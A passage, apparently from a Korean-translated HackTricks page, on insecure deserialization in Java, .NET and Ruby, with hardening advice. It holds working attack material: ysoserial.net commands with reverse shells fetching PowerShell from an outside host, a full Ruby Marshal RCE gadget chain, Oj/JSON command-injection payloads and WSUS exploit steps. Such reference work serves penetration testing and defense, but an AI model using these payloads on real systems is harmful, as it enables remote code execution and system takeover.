Java는 다음과 같은 다양한 목적에 대해 많은 직렬화를 사용합니다:
- HTTP requests: 매개변수, ViewState, 쿠키 등 관리에서 직렬화가 널리 사용됩니다.
- RMI (Remote Method Invocation): 전적으로 직렬화에 의존하는 Java RMI 프로토콜은 Java 애플리케이션의 원격 통신에 있어 핵심입니다.
- RMI over HTTP: Java 기반의 thick client 웹 애플리케이션에서 일반적으로 사용되며, 모든 객체 통신에 직렬화를 활용합니다.
- JMX (Java Management Extensions): JMX는 네트워크를 통해 객체를 전송할 때 직렬화를 사용합니다.
- Custom Protocols: Java에서는 일반적으로 raw Java objects를 전송하는 관행이 있으며, 이는 이후의 exploit 예제에서 시연될 것입니다.
Prevention
Transient objects
Serializable을 구현하는 클래스는 클래스 내부에서 직렬화되어서는 안 되는 객체를 transient로 표시할 수 있습니다. 예를 들어:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Serializable를 구현해야 하는 클래스의 직렬화 방지
클래스 계층 때문에 특정 객체가 Serializable를 구현해야 하는 경우, 의도치 않은 역직렬화(deserialization)의 위험이 있습니다. 이를 방지하려면, 아래와 같이 항상 예외를 던지는 final readObject() 메서드를 정의하여 해당 객체가 역직렬화되지 않도록 하세요:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Java에서 Deserialization 보안 강화
**Customizing java.io.ObjectInputStream**는 deserialization 프로세스를 보호하기 위한 실용적인 방법입니다. 이 방법은 다음과 같은 경우에 적합합니다:
- deserialization 코드를 직접 관리할 수 있는 경우.
- deserialization에 사용될 클래스들이 알려져 있는 경우.
허용된 클래스만 deserialization되도록 제한하기 위해 resolveClass() 메서드를 재정의하세요. 이렇게 하면 명시적으로 허용된 클래스 이외의 어떤 클래스도 deserialization되는 것을 방지할 수 있습니다. 예를 들어 다음 예시는 deserialization을 Bicycle 클래스만 허용하도록 제한합니다:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement은 코드 수정을 할 수 없을 때 대체 솔루션을 제공합니다. 이 방법은 주로 blacklisting harmful classes에 적용되며, JVM 파라미터를 사용합니다:
-javaagent:name-of-agent.jar
즉시 코드 변경이 불가능한 환경에 적합한, deserialization을 동적으로 보호하는 방법을 제공합니다.
Check and example in rO0 by Contrast Security
Implementing Serialization Filters: Java 9은 ObjectInputFilter 인터페이스를 통해 serialization filters를 도입하여, serialized objects가 deserialized되기 전에 충족해야 할 기준을 지정할 수 있는 강력한 메커니즘을 제공합니다. 이러한 필터는 전역적으로 또는 스트림별로 적용할 수 있어 deserialization 프로세스를 세밀하게 제어할 수 있습니다.
serialization filters를 활용하려면 모든 deserialization 작업에 적용되는 전역 필터를 설정하거나 특정 스트림에 대해 동적으로 구성할 수 있습니다. 예:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
외부 라이브러리를 이용한 보안 강화: NotSoSerial, jdeserialize, Kryo 같은 라이브러리는 Java deserialization을 제어하고 모니터링하기 위한 고급 기능을 제공합니다. 이러한 라이브러리는 클래스 화이트리스트/블랙리스트 적용, deserialization 전에 serialized 객체 분석, 사용자 정의 serialization 전략 구현 등 추가적인 보안 계층을 제공할 수 있습니다.
- NotSoSerial은 deserialization 과정을 가로채 신뢰할 수 없는 코드 실행을 방지합니다.
- jdeserialize는 객체를 실제로 deserializing하지 않고도 serialized Java 객체를 분석하여 잠재적으로 악의적인 콘텐츠를 식별할 수 있게 해줍니다.
- Kryo는 속도와 효율을 강조하는 대체 serialization 프레임워크로, 보안을 향상시킬 수 있는 구성 가능한 serialization 전략을 제공합니다.
References
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
다음 페이지에서 JNDI Injection이 무엇인지, RMI, CORBA & LDAP를 통해 어떻게 악용하는지, 그리고 log4shell을 어떻게 exploit하는지(및 이 취약점의 예제)를 확인하세요:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API는 두 개 이상의 클라이언트 간 메시지를 보내기 위한 Java 메시지 지향 미들웨어 API입니다. 이는 producer–consumer 문제를 처리하기 위한 구현입니다. JMS는 Java Platform, Enterprise Edition (Java EE)의 일부이며, Sun Microsystems에서 개발된 사양에 의해 정의되었고 이후 Java Community Process에 의해 관리되어 왔습니다. 이는 Java EE 기반 애플리케이션 컴포넌트가 메시지를 생성, 전송, 수신 및 읽을 수 있게 하는 메시징 표준입니다. 분산 애플리케이션의 서로 다른 구성 요소 간 통신을 느슨하게 결합되고 신뢰할 수 있으며 비동기적으로 만들어 줍니다. (출처: Wikipedia).
Products
이 미들웨어를 사용하여 메시지를 전송하는 여러 제품들이 있습니다:
.png)
.png)
Exploitation
요약하자면, JMS를 위험한 방식으로 사용하는 많은 서비스들이 존재합니다. 따라서 이러한 서비스에 메시지를 보낼 수 있는 충분한 권한(대개 유효한 자격증명이 필요함)이 있다면, consumer/subscriber가 deserialized할 악의적으로 serialized된 객체를 보낼 수 있을 가능성이 있습니다.
이는 이 공격에서 해당 메시지를 사용할 모든 클라이언트들이 영향받을 수 있다는 것을 의미합니다.
서비스가 취약하더라도(사용자 입력을 불안전하게 deserializing하기 때문에) 공격을 성공시키려면 여전히 적절한 gadgets를 찾아야 한다는 점을 명심하세요.
도구 JMET는 이 서비스에 연결하여 여러 알려진 gadgets를 사용해 악성으로 serialized된 객체들을 전송해 공격하도록 만들어졌습니다. 이 익스플로잇들은 서비스가 여전히 취약하고 사용된 gadget 중 하나라도 취약한 애플리케이션에 포함되어 있다면 동작합니다.
References
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
.Net 환경에서도 deserialization 익스플로잇은 Java에서 발견되는 것과 유사하게 동작하며, 객체의 deserialization 과정에서 특정 코드를 실행하도록 gadgets가 악용됩니다.
Fingerprint
WhiteBox
소스 코드를 검사하여 다음 항목이 존재하는지 확인하세요:
TypeNameHandlingJavaScriptTypeResolver
사용자 제어 하에 있는 변수로 타입을 결정할 수 있도록 허용하는 serializers에 주목해야 합니다.
BlackBox
검색 시 Base64로 인코딩된 문자열 AAEAAAD///// 또는 서버 측에서 deserialization되어 deserialized할 타입에 대한 제어를 허용할 수 있는 유사한 패턴을 타겟으로 하세요. 여기에는 TypeObject 또는 $type을 포함하는 JSON 또는 XML 구조 등이 포함될 수 있습니다.
ysoserial.net
이 경우 ysoserial.net 도구를 사용하여 deserialization 익스플로잇을 생성할 수 있습니다. Git 리포지토리를 내려받은 후 Visual Studio 등을 사용해 도구를 컴파일해야 합니다.
ysoserial.net이 어떻게 익스플로잇을 생성하는지를 배우고 싶다면 ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter가 설명된 이 페이지를 확인하세요.
ysoserial.net의 주요 옵션은: --gadget, --formatter, --output 및 --plugin 입니다.
--gadget: 악용할 gadget을 지정합니다 (deserialization 중 명령을 실행하기 위해 악용될 클래스/함수를 지정).--formatter: 익스플로잇을 serialize할 방법을 지정합니다 (백엔드가 payload를 deserializing하는데 사용하는 라이브러리를 알고 동일한 포맷터를 사용해야 함).--output: 익스플로잇을 raw 또는 base64로 출력할지 지정합니다. 참고: ysoserial.net은 payload를 기본적으로 UTF-16LE(Windows에서 기본 사용되는 인코딩)로 인코딩하므로 raw를 얻어 단순히 리눅스 콘솔에서 인코딩만 변경하면 인코딩 호환성 문제로 익스플로잇이 제대로 동작하지 않을 수 있습니다(HTB JSON 박스에서는 payload가 UTF-16LE와 ASCII 모두에서 동작했지만 항상 그렇다는 보장은 없습니다).--plugin: ysoserial.net은 ViewState 같은 특정 프레임워크용 익스플로잇을 제작하기 위한 플러그인을 지원합니다.
More ysoserial.net parameters
--minify는 가능한 경우 더 작은 payload를 제공합니다.--raf -f Json.Net -c "anything"는 제공된 formatter(Json.Net인 경우)에서 사용할 수 있는 모든 gadgets를 표시합니다.--sf xml는 gadget(-g)을 지정하면 ysoserial.net이 “xml“을 포함하는 formatter를 검색합니다(대소문자 구분 없음).
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net에는 각 익스플로잇이 어떻게 작동하는지 더 잘 이해하는 데 도움이 되는 매우 흥미로운 파라미터가 하나 있습니다: --test
이 파라미터를 지정하면 ysoserial.net은 로컬에서 익스플로잇을 시도하므로, 페이로드가 제대로 동작하는지 테스트할 수 있습니다.
이 파라미터는 유용한데, 코드를 검토하면 다음과 같은 코드 조각을 발견할 수 있기 때문입니다 (from ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
즉, exploit을 테스트하기 위해 코드가 serializersHelper.JsonNet_deserialize를 호출한다
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
In the 이전 코드는 생성된 익스플로잇에 취약합니다. 따라서 .Net 애플리케이션에서 유사한 코드를 발견하면 해당 애플리케이션도 취약할 가능성이 큽니다.
따라서 the --test parameter allows us to understand 어떤 코드 덩어리들이 취약한지 to the desrialization exploit that ysoserial.net can create.
ViewState
Take a look to this POST about how to try to exploit the __ViewState parameter of .Net to 임의의 코드를 실행. If you 이미 know the secrets used by the victim machine, read this post to know to execute code.
Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE
- Affected endpoints:
/SimpleAuthWebService/SimpleAuth.asmx→ GetCookie() AuthorizationCookie가 복호화된 후 BinaryFormatter로 deserialized됩니다./ReportingWebService.asmx→ ReportEventBatch 및 관련 SOAP 작업이 SoapFormatter sinks에 도달합니다; base64 gadget는 WSUS 콘솔이 이벤트를 수신할 때 처리됩니다.- Root cause: attacker‑controlled bytes가 엄격한 allow‑lists/binders 없이 레거시 .NET formatters (BinaryFormatter/SoapFormatter)에 도달하여 gadget chains가 WSUS 서비스 계정(대개 SYSTEM) 권한으로 실행됩니다.
Minimal exploitation (Reporting path):
- Generate a .NET gadget with ysoserial.net (BinaryFormatter or SoapFormatter) and output base64, for example:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
ReportEventBatch에 대한 SOAP을 작성하여 base64 gadget을 포함시키고/ReportingWebService.asmx에 POST합니다.- 관리자가 WSUS 콘솔을 열면 이벤트가 역직렬화되고 gadget이 실행되어 (RCE as SYSTEM).
AuthorizationCookie / GetCookie()
- 위조된 AuthorizationCookie는 수락되어 복호화된 다음 BinaryFormatter sink로 전달될 수 있으며, 도달 가능한 경우 pre‑auth RCE를 유발합니다.
Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
참조 Windows Local Privilege Escalation – WSUS
예방
To mitigate the risks associated with deserialization in .Net:
- 데이터 스트림이 객체 타입을 정의하도록 허용하지 마세요. 가능한 경우
DataContractSerializer또는XmlSerializer를 사용하세요. JSON.Net의 경우TypeNameHandling을None으로 설정하세요:TypeNameHandling = TypeNameHandling.NoneJavaScriptSerializer를JavaScriptTypeResolver와 함께 사용하는 것을 피하세요.- deserialized 가능한 타입을 제한하세요,
System.IO.FileInfo처럼 서버 파일의 속성을 변경할 수 있어 서비스 거부(DoS) 공격으로 이어질 수 있는 .Net 타입들의 고유 위험을 이해하세요. - 위험한 속성을 가진 타입을 주의하세요, 예를 들어
System.ComponentModel.DataAnnotations.ValidationException의Value속성은 악용될 수 있습니다. - 타입 인스턴스화를 안전하게 제어하세요 — 공격자가 deserialization 프로세스에 영향을 미치지 못하도록 하여
DataContractSerializer나XmlSerializer조차 취약해지지 않도록 하세요. - BinaryFormatter와 JSON.Net에 대해 커스텀
SerializationBinder를 사용하여 화이트리스트 제어를 구현하세요. - .Net 내 알려진 안전하지 않은 deserialization gadget에 대한 정보를 유지하고, deserializer가 이러한 타입을 인스턴스화하지 않도록 하세요.
- 잠재적으로 위험한 코드를 인터넷 접근이 있는 코드와 분리하세요 — WPF 애플리케이션의
System.Windows.Data.ObjectDataProvider와 같은 알려진 gadget를 신뢰할 수 없는 데이터 소스에 노출시키지 않도록 하세요.
참고자료
- Java and .Net JSON deserialization 논문: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, 강연: https://www.youtube.com/watch?v=oUAeWhW5b8c 및 슬라이드: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Ruby에서는 marshal 라이브러리의 두 메서드를 통해 serialization이 수행됩니다. 첫 번째 메서드인 dump는 객체를 바이트 스트림으로 변환하는 데 사용됩니다(이를 serialization이라고 합니다). 반대로 두 번째 메서드인 load는 바이트 스트림을 다시 객체로 복원하는 데 사용되며(이를 deserialization이라고 합니다).
직렬화된 객체를 보호하기 위해 **Ruby는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이 용도로 사용되는 키는 다음 위치들 중 하나에 저장됩니다:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Ruby On Rails를 악용하기 위한 다른 RCE 체인: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() 메서드
As explained in this vulnerability report, 사용자로부터의 정제되지 않은 입력이 Ruby 객체의 .send() 메서드에 도달하면, 이 메서드는 객체의 다른 어떤 메서드든 임의의 매개변수로 호출할 수 있게 합니다.
예를 들어, eval을 호출하고 두 번째 인자로 Ruby 코드를 넘기면 임의의 코드를 실행할 수 있습니다:
<Object>.send('eval', '<user input with Ruby code>') == RCE
게다가, 앞선 설명에서 언급한 것처럼, **.send()**의 매개변수 하나만 공격자에게 제어된다면, 인자를 필요로 하지 않거나 인자에 기본값이 설정된 객체의 어떤 메서드든 호출할 수 있습니다.\
이를 위해 객체의 모든 메서드를 열거하여 해당 요건을 만족하는 흥미로운 메서드를 찾아낼 수 있습니다.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
여기에서 pollute a Ruby class and abuse it in here가 어떻게 가능한지 확인하세요.
Ruby _json pollution
본문(body)에 array와 같이 hashable하지 않은 일부 값을 전송하면 새로운 키 _json에 추가됩니다. 그러나 공격자는 본문에 _json이라는 이름의 값을 임의의 값으로 설정할 수도 있습니다. 이후 백엔드가 예를 들어 파라미터의 진위를 확인하지만 _json 파라미터를 사용해 어떤 동작을 수행한다면, 권한 우회가 발생할 수 있습니다.
자세한 내용은 Ruby _json pollution page를 확인하세요.
다른 라이브러리
이 기법은 from this blog post에서 가져왔습니다.
객체를 직렬화하는 데 사용될 수 있는 다른 Ruby 라이브러리들이 있으며, 이들은 안전하지 않은 deserialization 시 RCE 획득에 악용될 수 있습니다. 다음 표는 이러한 라이브러리 중 일부와, 언시리얼라이즈될 때 호출되는 라이브러리 내부의 메서드(기본적으로 RCE를 얻기 위해 악용할 함수)를 보여줍니다:
| Library | Input data | Kick-off method inside class |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (class needs to be put into hash(map) as key) |
| Ox | XML | hash (class needs to be put into hash(map) as key) |
| Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
| JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
기본 예:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Oj를 악용하려고 시도할 때, 내부의 hash 함수가 to_s를 호출하고, to_s가 spec을 호출하며, spec이 fetch_path를 호출하도록 하는 gadget class를 찾을 수 있었고, 이를 통해 임의의 URL을 가져오게 만들어 이러한 종류의 검증되지 않은 deserialization 취약점을 잘 탐지할 수 있었다.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
또한 이전 기법으로 시스템에 폴더가 생성되는 것이 발견되었으며, 이는 다른 gadget을 악용해 이를 완전한 RCE로 변환하기 위한 전제 조건이다. 예:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Caching
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).
아래는 Bootsnap caching을 악용해 arbitrary file write vulnerability를 익스플로잇하는 글에 설명된 단계들의 간단한 요약이다:
- Identify the Vulnerability and Environment
Rails 앱의 파일 업로드 기능을 통해 공격자가 임의로 파일을 쓸 수 있다. 앱이 제한된 환경에서 실행되더라도(Docker의 non-root user로 인해 tmp 같은 특정 디렉터리만 쓰기가 허용되는 등) 이는 여전히 Bootsnap 캐시 디렉터리(일반적으로 tmp/cache/bootsnap)에 쓰기가 가능한 상황을 만든다.
- Understand Bootsnap’s Cache Mechanism
Bootsnap은 컴파일된 Ruby 코드, YAML, JSON 파일을 캐싱하여 Rails 부팅 시간을 단축한다. 캐시 파일은 cache key header(예: Ruby 버전, 파일 크기, mtime, compile options 등 필드 포함)와 뒤따르는 컴파일된 코드로 구성된다. 이 헤더는 앱 시작 시 캐시를 검증하는 데 사용된다.
- Gather File Metadata
공격자는 먼저 Rails 시작 시 로드될 가능성이 높은 대상 파일(예: Ruby 표준 라이브러리의 set.rb)을 선택한다. 컨테이너 내부에서 Ruby 코드를 실행하여 RUBY_VERSION, RUBY_REVISION, size, mtime, compile_option 같은 중요한 메타데이터를 추출한다. 이 데이터는 올바른 cache key를 생성하는 데 필수적이다.
- Compute the Cache File Path
Bootsnap의 FNV-1a 64-bit 해시 메커니즘을 복제하여 올바른 캐시 파일 경로를 계산한다. 이 단계는 악의적인 캐시 파일이 Bootsnap이 기대하는 정확한 위치(예: tmp/cache/bootsnap/compile-cache-iseq/)에 놓이도록 보장한다.
- Craft the Malicious Cache File
공격자는 다음을 수행하는 페이로드를 준비한다:
- Executes arbitrary commands (for example, running id to show process info).
- Removes the malicious cache after execution to prevent recursive exploitation.
- Loads the original file (e.g., set.rb) to avoid crashing the application.
이 페이로드는 바이너리 Ruby 코드로 컴파일되고, 앞서 수집한 메타데이터와 올바른 Bootsnap 버전 번호를 사용해 정교하게 구성된 cache key header와 이어붙여진다.
- Overwrite and Trigger Execution arbitrary file write vulnerability를 이용해 공격자는 계산된 위치에 조작된 캐시 파일을 쓴다. 다음으로 tmp/restart.txt(예: Puma가 모니터링)를 수정해 서버 재시작을 유도한다. 재시작 중 Rails가 대상 파일을 require할 때 악성 캐시 파일이 로드되어 RCE가 발생한다.
Ruby Marshal exploitation in practice (updated)
신뢰할 수 없는 바이트가 Marshal.load/marshal_load에 도달하는 모든 경로를 RCE sink로 취급하라. Marshal은 임의의 객체 그래프를 재구성하고 materialization 동안 라이브러리/gem의 콜백을 트리거한다.
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- 실제 체인에서 자주 보이는 gadget classes:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - payloads에 삽입된 전형적인 부작용 표시자 (unmarshal 중 실행):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Where it surfaces in real apps:
- Rails 캐시 저장소 및 세션 저장소(역사적으로 Marshal 사용)
- Background job 백엔드 및 파일 기반 오브젝트 저장소
- 이진 객체 블롭의 커스텀 영속성 또는 전송
Industrialized gadget discovery:
- 생성자,
hash,_load,init_with또는 unmarshal 중 호출되는 부작용 있는 메서드를 grep - CodeQL의 Ruby unsafe deserialization 쿼리를 사용해 sources → sinks를 추적하고 gadgets를 찾아내기
- 공개 multi-format PoCs(JSON/XML/YAML/Marshal)로 검증
References
- Trail of Bits – Marshal madness: Ruby 역직렬화 익스플로잇의 간략한 역사: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
- PoC – tecxx/CVE-2025-59287-WSUS
- RSC Report Lab – CVE-2025-55182 (React 19.2.0)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

